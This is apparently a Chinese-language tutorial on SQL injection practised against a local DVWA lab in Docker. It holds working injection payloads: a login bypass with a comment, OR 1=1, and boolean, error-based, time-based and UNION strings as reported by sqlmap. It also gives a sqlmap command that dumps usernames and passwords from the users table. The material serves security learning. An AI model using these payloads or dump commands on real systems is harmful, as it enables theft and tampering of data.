SQL注入
Whisper Lv5

原理:​用户输入的内容被直接拼接到SQL语句中执行​,导致恶意SQL代码被数据库执行。
场景:在用户可以操控的输入框中。
损失:数据泄露,数据丢失,数据篡改。

注入基础

1 登录
入参:admin password

1
SELECT * FROM users WHERE username='admin' AND password='123456'​

用户名填admin’ – 绕过密码登录

1
SELECT * FROM users WHERE username='admin' --' AND password='xxx'​

2 单引号测试 ‘​
测试输入框,输入单引号,查看系统是否执行该sql,查看sql层面是否报错:You have an error in your SQL syntax

3 or 1=1​
测试输入框,1' or 1=1--​ 如返回了真实的数据,说明注入成功。

Docker搭建DVWA

1
sudo docker run -d -p 80:80 vulnerables/web-dvwa

默认账号 admin​,密码 password.

登录后点左侧DVWA Security,把安全级别改成Low然后点Submit

点击菜单SQL Injection

安装sqlmap

1
2
3
4
5
sudo docker exec -it 容器ID /bin/bash
apt update && apt install -y git python3 python3-pip
git clone https://github.com/sqlmapproject/sqlmap.git /usr/local/sqlmap
ln -s /usr/local/sqlmap/sqlmap.py /usr/bin/sqlmap
chmod +x /usr/local/sqlmap/sqlmap.py

验证注入

1
2
docker exec -it 9ba5053c75ef /bin/bash 
sqlmap -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=session值xxx"

-u​:指定目标URL(带了注入参数)

session从DVWA页面,chrome中复制PHPSESSID的值。

根据命令行提示选择选项。

DVWA输出的表数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 3547=3547#&Submit=Submit

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1' AND EXTRACTVALUE(2001,CONCAT(0x5c,0x7176627871,(SELECT (ELT(2001=2001,1))),0x71787a6271))-- dpSp&Submit=Submit

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8409 FROM (SELECT(SLEEP(5)))uhXu)-- rGZB&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT CONCAT(0x7176627871,0x4f426364714e7154594f4b486662514a706e4648766c586c505a457057746d4e7a77646c4a757a75,0x71787a6271),NULL#&Submit=Submit
---

导出

1
sqlmap -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ae42ab8250dd8b6cdb6c597b53127d14" -D dvwa -T users -C username,password --dump -batch

​-D dvwa​:指定攻击的数据库
​-T users​:指定攻击的表是 users
-C username,password​:指定要导出的字段

MySQL 的典型注入方式

注入类型 通俗解释
boolean-based blind(布尔盲注) 通过构造真假条件(比如1’ OR 1=1#​),根据页面是否显示内容判断注入是否生效
error-based(报错注入) 构造恶意 SQL 让数据库报错,从报错信息中提取数据
time-based blind(时间盲注) 构造SLEEP(5)​这类语句,根据页面响应时间判断条件是否成立
UNION query(联合查询注入) 用UNION ALL SELECT​拼接语句,直接读取数据库中的数据(最直接、效率最高)